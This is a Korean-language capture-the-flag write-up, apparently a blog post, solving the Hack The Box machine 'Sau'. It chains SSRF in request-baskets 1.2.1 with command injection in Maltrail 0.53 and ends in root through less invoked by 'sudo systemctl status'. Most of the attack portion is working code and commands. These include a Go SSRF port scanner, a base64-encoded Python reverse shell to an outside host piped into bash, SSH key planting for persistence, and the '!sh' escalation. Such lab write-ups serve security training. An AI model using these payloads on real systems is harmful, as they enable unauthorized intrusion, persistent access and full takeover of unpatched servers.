Post

HTB Sau

HTB 오픈 베타 시즌2의 4번째 머신인 Sau를 해결하는 과정을 기록한다.

1. PortScan

55555/tcp, 22/tcp가 오픈되어있는 것을 확인할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-10 10:12 KST
Nmap scan report for 10.129.119.137
Host is up (0.24s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
55555/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.93%I=7%D=7/10%Time=64AB5B09%P=arm-apple-darwin21.6.0%
SF:r(GetRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/htm
SF:l;\x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Mon,\x2010\x20Jul\
SF:x202023\x2001:12:41\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\
SF:"/web\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x2
SF:0Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection
SF::\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x
SF:20200\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Mon,\x2010\x20Jul\
SF:x202023\x2001:12:42\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequ
SF:est,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pla
SF:in;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reque
SF:st")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r
SF:\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r
SF:\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,6
SF:7,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x
SF:20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%
SF:r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Request\
SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Opti
SF:ons:\x20nosniff\r\nDate:\x20Mon,\x2010\x20Jul\x202023\x2001:13:12\x20GM
SF:T\r\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20the\x20
SF:name\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{1,250}
SF:\$\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20
SF:close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1.1. Service Check (55555/tcp)

브라우저를 통해 55555포트에 접근하니 아래와 같이 request-baskets v1.2.1로 만들어진 웹 서비스를 확인할 수 있다.

request-baskets은 REST API 등의 테스트를 목적으로 사용되는것 같으며, /api/baskets/[BASKET_NAME]으로 POST요청 시 Authorization 헤더에 사용되는 token을 받아 볼 수 있다.

2. SSRF

여기서 basket을 만들고 하는것이 중요한게 아니다. 서비스중인 request-baskets의 버전은 1.2.1이며 해당 버전에는 SSRF(CVE-2023-27163) 취약점이 존재하는것을 확인할 수 있다.

PoC를 확인하고 위에서 basket을 생성하는 API에 POST 데이터로 아래와 같은 Json을 전달한다.

1
2
3
4
5
6
7
{
  "forward_url": "http://IP:PORT/cve-2023-27163",
  "proxy_response": true,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}

이후 생성된 basket에 GET 요청을 보내면 서버측에서forward_url에 작성된 URL에 요청을 보내는 SSRF가 진행되며 공격자 서버로 GET 요청을 받는 것을 확인할 수 있다.

SSRF를 통해 로컬 파일을 확인하기 위해 file:// scheme을 사용하는 payload를 forward_url에 입력하고 새로운 basket을 생성하고 basket에 접근했으나 file scheme은 지원하지 않는다.

💡 request-baskets은 go로 제작되었으며, forward_url을 처리할때 net/http 모듈을 사용하여 HTTP Request를 전달하고 Reponse를 전달하는 형태로 개발되어있는 것을 확인했다. net/http는 따로 설정하지 않으면 http, https scheme만 지원하기에, 위 처럼 file scheme은 사용할 수 없다.

그렇다면 http/https scheme로 할 수 있는 가장 기본적인 로컬 서비스 포트를 확인하기 위해 아래와 같은 코드를 제작하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package main

import (
	"bytes"
	"crypto/tls"
	"encoding/json"
	"fmt"
	"io/ioutil"
	"net/http"
	"strconv"

	"github.com/projectdiscovery/gologger"
)

const (
	CREATE_BASKETS_URL string = "http://sau.htb:55555/api/baskets/"
	OPEN_BASKETS_URL   string = "http://sau.htb:55555/"
)

type ReqCreateBasketsBody struct {
	ForwardURL    string `json:"forward_url"`
	ProxyResponse bool   `json:"proxy_response"`
	InsecureTLS   bool   `json:"insecure_tls"`
	ExpandPath    bool   `json:"expand_path"`
	Capacity      int    `json:"capacity"`
}

func sendCreateBaskets(client *http.Client, basketName string, forwardUrl string) (*http.Response, error) {
	reqCreateBasketsBody := ReqCreateBasketsBody{
		ForwardURL:    forwardUrl,
		ProxyResponse: true,
		InsecureTLS:   false,
		Capacity:      250,
	}
	reqCreateBasketsBodyData, _ := json.Marshal(reqCreateBasketsBody)
	req, _ := http.NewRequest("POST", CREATE_BASKETS_URL+basketName, bytes.NewBufferString(string(reqCreateBasketsBodyData)))
	res, err := client.Do(req)
	if err != nil {
		return nil, err
	}
	return res, nil
}

func sendOpenBaskets(client *http.Client, basketName string) (*http.Response, error) {
	req, _ := http.NewRequest("GET", OPEN_BASKETS_URL+basketName, nil)
	res, err := client.Do(req)
	if err != nil {
		return nil, err
	}
	return res, nil
}

func main() {
	var client *http.Client = &http.Client{
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		},
	}

	prefix := "tetetetetetet"
	for i := 0; i <= 65535; i++ {
		port := strconv.Itoa(i)
		fmt.Printf("scan %s port...", port)
		res, err := sendCreateBaskets(client, prefix+port, "http://127.0.0.1:"+port)
		if err != nil {
			gologger.Error().Msgf("%v\n", err)
		}
		if res.StatusCode == 201 {
			res, err := sendOpenBaskets(client, prefix+port)
			if err != nil {
				gologger.Error().Msgf("%v\n", err)
			}
			resBody, _ := ioutil.ReadAll(res.Body)
			fmt.Println(string(resBody))
		}
	}
}

2.1. SSRF to RCE

위 코드를 통해 포트 스캔을 진행한 결과, 80/tcp가 내부에 오픈되어있는것을 알 수 있었으며, 확인해보니 maltrail v0.53으로 제작된 웹 서비스인것을 Response를 통해 확인할 수 있었다.

maltrail에 대한 취약점을 찾아보니 0.54 버전 밑으로 RCE 취약점이 존재한다.

결과적으로 /login 경로로 username 파라미터에 OS Command Injection이 가능하며 아래와 같은 테스트를 진행하여 공격자 서버로 curl명령을 전달하여 공격자 서버에 GET 요청이 오는지 확인하니 정상적으로 curl명령이 전달되어 공격자 서버로 요청을 받아 볼 수 있다.

3. Shell Access (puma)

이제 Reverse Shell을 획득하기 위해 아래와 같은 basket을 생성하는 요청을 전달한다.

1
echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjkiLDkwMDIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJiYXNoIikn | base64 -d | bash

생성된 basket으로 GET요청을 보내면 SSRF+RCE가 정상적으로 동작하여 puma 계정의 쉘을 획득할 수 있다.

1
2
3
4
% nc -l 9002 -vn
puma@sau:/opt/maltrail$ id
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)

3.1. SSH 접근

리버스 쉘은 불편하다. puma 계정의 홈디렉터리에서 .ssh/authorized_keys에 공격자가 생성한 공개키를 등록한다.

1
2
3
puma@sau:~$ mkdir .ssh
puma@sau:~$ cd .ssh
puma@sau:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJoSk04Ani+5MaX1mthz6ww/+sZBfeKQ2hexeVfrlkdzMHt8V24QZ+ej4yQHcqfH+7Q/URckVyxEnv1liJuGIerl2mlOMXR3MJH1qymFUPpBzBZERvRRnKUFVJgGpbnkOJvmVIEhtSHzR33hxIkBdp2Y8CpK8q8062FFE4BwJtRLwXVRkMsAzRB0d+c+jlIh8N+rYT8vSKqOeOhez2ELCjzJ7gtUc5lo4Y1qB5nPQKreya00dZR/kMKxVL1z9TYQVjLxF8J5qQksAJdBP7LswrKpoMvGgwb+5Aop5XBBOOqjXJ31XHwJPBlWUAWAi6Hh2i0jmB7VymZ0ytDM4ZY6dDkvokW24McAhgF4sqPSys3KkUoitDdOYcPu6xL5AxYVqYUtSKEOqGuJ5bKzGVgJ3aQwBHBdszj2z//qAmPGUrMHpC/mDzN+hDYeB8JKU0N+st3VDMbmdLA+/ubLWNB12sjISNK0wxgSyYHYNPdT7Lz8MAzS4hoqBvWnIqM9lcgMs=........" > authorized_keys && chmod 644

공격자가 생성한 개인키를 통해 깔끔한 SSH 쉘에 접근할 수 있다!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
% ssh -i juicemon puma@sau.htb
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-153-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Jul 10 07:59:05 UTC 2023

  System load:           0.0
  Usage of /:            45.2% of 4.78GB
  Memory usage:          5%
  Swap usage:            0%
  Processes:             221
  Users logged in:       0
  IPv4 address for eth0: 10.129.46.31
  IPv6 address for eth0: dead:beef::250:56ff:feb9:f760


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


Last login: Tue Jul  4 13:35:50 2023 from 10.10.14.23
puma@sau:~$ id
uid=1001(puma) gid=1001(puma) groups=1001(puma)

Shell Access (root)

puma 계정에서 sudo 권한을 확인하면 아래와 같이 systemctl status로 특정 서비스의 상태를 확인할 수 있는 권한이 존재한다.

1
2
3
4
5
6
puma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

관련된 권한상승 트릭이나 CVE를 구글링하다가 CVE-2023–26604를 확인할 수 있었다.

systemd 247 미만 버전에서 가능한 권한상승 취약점으로 systemctl status의 출력값의 길이가 길경우 출력되는 결과를 less 통해 뿌려주는데 이때 less LPE 트릭으로 권한 상승이 가능하다는 취약점이다.

바로 sudo 권한으로 systemctl status 명령을 실행하니 기존에 SSRF+RCE를 시도할 때 사용됐던 maltrail에 전달한 페이로드가 길어 less로 systemctl status 결과를 확인할 수 있었다.

여기서 !sh을 입력하면 root 계정의 쉘을 획득할 수 있다 : )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
puma@sau:~$ sudo /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
     Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset: enabled)
     Active: active (running) since Mon 2023-07-10 07:10:57 UTC; 55min ago
       Docs: https://github.com/stamparm/maltrail#readme
             https://github.com/stamparm/maltrail/wiki
   Main PID: 860 (python3)
      Tasks: 7 (limit: 4662)
     Memory: 27.0M
     CGroup: /system.slice/trail.service
             ├─ 860 /usr/bin/python3 server.py
             ├─1030 /bin/sh -c logger -p auth.info -t "maltrail[860]" "Failed password for ;`echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2Nr>
             ├─1031 /bin/sh -c logger -p auth.info -t "maltrail[860]" "Failed password for ;`echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2Nr>
             ├─1034 bash
             ├─1035 python3 -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.9",9002));os.dup2(s.fileno(),0); os.dup2(s.file>
             └─1036 bash

Jul 10 07:10:57 sau systemd[1]: Started Maltrail. Server of malicious traffic detection system.
Jul 10 07:48:30 sau maltrail[1027]: Failed password for ;<!DOCTYPE HTML>
                                    <html lang="en">
                                        <head>
                                            <meta charset="utf-8">
                                            <title>Error response</title>
                                        </head>
                                        <body>
                                            <h1>Error response</h1>
                                            <p>Error code: 404</p>
                                            <p>Message: File not found.</p>
                                            <p>Error code explanation: 404 - Nothing matches the given URI.</p>
                                        </body>
                                    </html> from 127.0.0.1 port 43526
!sh
# id
uid=0(root) gid=0(root) groups=0(root)

done

This post is licensed under CC BY 4.0 by the author.